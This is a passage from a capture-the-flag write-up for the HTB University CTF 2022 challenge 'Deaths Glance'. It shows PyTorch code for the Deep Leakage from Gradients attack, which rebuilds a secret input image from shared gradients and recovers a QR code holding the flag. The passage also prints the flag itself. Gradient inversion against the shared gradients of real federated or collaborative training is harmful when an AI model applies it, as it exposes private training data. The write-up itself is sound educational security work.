    <span class="k">return</span> <span class="n">torch</span><span class="p">.</span><span class="n">mean</span><span class="p">(</span><span class="n">torch</span><span class="p">.</span><span class="nb">sum</span><span class="p">(</span><span class="o">-</span> <span class="n">target</span> <span class="o">*</span> <span class="n">F</span><span class="p">.</span><span class="n">log_softmax</span><span class="p">(</span><span class="n">pred</span><span class="p">,</span> <span class="n">dim</span><span class="o">=-</span><span class="mi">1</span><span class="p">),</span> <span class="mi">1</span><span class="p">))</span>

<span class="n">tt</span> <span class="o">=</span> <span class="n">transforms</span><span class="p">.</span><span class="n">ToPILImage</span><span class="p">()</span>

<span class="c1"># Load the gradient
</span><span class="n">original_dy_dx</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="s">'forbidden_spell.pt'</span><span class="p">)</span>
<span class="n">original_dy_dx</span> <span class="o">=</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">original_dy_dx</span><span class="p">)</span>

<span class="c1"># generate dummy data and label
</span><span class="n">dummy_data</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">randn</span><span class="p">((</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">32</span><span class="p">)).</span><span class="n">to</span><span class="p">(</span><span class="n">device</span><span class="p">).</span><span class="n">requires_grad_</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>
<span class="n">dummy_label</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">randn</span><span class="p">((</span><span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">)).</span><span class="n">to</span><span class="p">(</span><span class="n">device</span><span class="p">).</span><span class="n">requires_grad_</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>

<span class="n">optimizer</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">optim</span><span class="p">.</span><span class="n">LBFGS</span><span class="p">([</span><span class="n">dummy_data</span><span class="p">,</span> <span class="n">dummy_label</span><span class="p">])</span>
<span class="n">criterion</span> <span class="o">=</span> <span class="n">cross_entropy_for_onehot</span>

<span class="k">for</span> <span class="n">iters</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">closure</span><span class="p">():</span>
        <span class="n">optimizer</span><span class="p">.</span><span class="n">zero_grad</span><span class="p">()</span>

        <span class="n">dummy_pred</span> <span class="o">=</span> <span class="n">net</span><span class="p">(</span><span class="n">dummy_data</span><span class="p">)</span> 
        <span class="n">dummy_onehot_label</span> <span class="o">=</span> <span class="n">F</span><span class="p">.</span><span class="n">softmax</span><span class="p">(</span><span class="n">dummy_label</span><span class="p">,</span> <span class="n">dim</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">dummy_loss</span> <span class="o">=</span> <span class="n">criterion</span><span class="p">(</span><span class="n">dummy_pred</span><span class="p">,</span> <span class="n">dummy_onehot_label</span><span class="p">)</span> 
        <span class="n">dummy_dy_dx</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">autograd</span><span class="p">.</span><span class="n">grad</span><span class="p">(</span><span class="n">dummy_loss</span><span class="p">,</span> <span class="n">net</span><span class="p">.</span><span class="n">parameters</span><span class="p">(),</span> <span class="n">create_graph</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        
        <span class="n">grad_diff</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="k">for</span> <span class="n">gx</span><span class="p">,</span> <span class="n">gy</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">dummy_dy_dx</span><span class="p">,</span> <span class="n">original_dy_dx</span><span class="p">):</span> 
            <span class="n">grad_diff</span> <span class="o">+=</span> <span class="p">((</span><span class="n">gx</span> <span class="o">-</span> <span class="n">gy</span><span class="p">)</span> <span class="o">**</span> <span class="mi">2</span><span class="p">).</span><span class="nb">sum</span><span class="p">()</span>
        <span class="n">grad_diff</span><span class="p">.</span><span class="n">backward</span><span class="p">()</span>
        
        <span class="k">return</span> <span class="n">grad_diff</span>
    
    <span class="n">optimizer</span><span class="p">.</span><span class="n">step</span><span class="p">(</span><span class="n">closure</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">iters</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> 
        <span class="n">current_loss</span> <span class="o">=</span> <span class="n">closure</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="n">iters</span><span class="p">,</span> <span class="s">"%.4f"</span> <span class="o">%</span> <span class="n">current_loss</span><span class="p">.</span><span class="n">item</span><span class="p">())</span>
        <span class="n">plt</span><span class="p">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">tt</span><span class="p">(</span><span class="n">dummy_data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cpu</span><span class="p">()))</span>
        <span class="c1"># plt.savefig(f'save/{iters}.png')
</span>        <span class="c1"># torch.save(dummy_data[0].cpu(), f'save/{iters}.pt')
</span></code></pre></div></div>

<p>After about 20-30 iterations, we got a QR code that we could scan with many of the QR code scan apps on our phones.</p>

<p><img src="/assets/image/htb-uni-ctf-2022-deaths-glance-recover-input.png" alt="QR code being recovered after about 20-30 iterations." /></p>

<p>Scan the QR code, got the flag <code class="highlighter-rouge">HTB{d0nt_sh4r3_y0ur_fl4g}</code>.</p>

<h2 id="other-irrelevant-path-we-went-down">Other (Irrelevant) Path We Went Down</h2>

<p>Initially, we thought the given <code class="highlighter-rouge">pt</code> file is the weights of the model, and the challenge would be solved by somehow getting the input data. I came across a Misc challenge called “Battle in OrI/On” in <a href="https://www.hackthebox.com/events/cyber-apocalypse-2022">HTB Cyber Apocalypse CTF 2022</a>, which was to find the input of the neural net which gives the required output. For this challenge, we tried to train the input data for every of the 100 possible output classes (assuming the output would look like one-hot encoding). However, we did not see anything looks like the flag in the trained pattern.</p>

<p>Looking at the patterns for each of the possible output classes, we noticed that class 55 outputs very different patterns to everything else, as well as the loss for that class is always 0 or near 0. We inspected the last tensor (we assumed it was the bias of the output layer) in the <code class="highlighter-rouge">pt</code> file, and noticed a large- close-to-1 value at index 55. I guessed that maybe class 55 is the output, but the input was not learning because of almost no loss due to the large bias, so I manually set the bias to a very negative value and train the input. However, we still did not get the flag.</p>

<p>There were other things we tried, including to have random input or trained pattern from above as input and visualise each layer of the model output.</p>

<h2 id="references">References</h2>

<ol class="bibliography"><li><span id="zhu19deep">Zhu, L., Liu, Z., &amp; Han, S. (2019). Deep Leakage from Gradients. <i>Advances in Neural Information Processing Systems</i>.</span></li></ol>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><category term="ctf neural network" /><summary type="html"><![CDATA[This is my writeup for the only Misc challenge “Deaths Glance” in HTB University CTF 2022 (on CTFtime).]]></summary></entry></feed>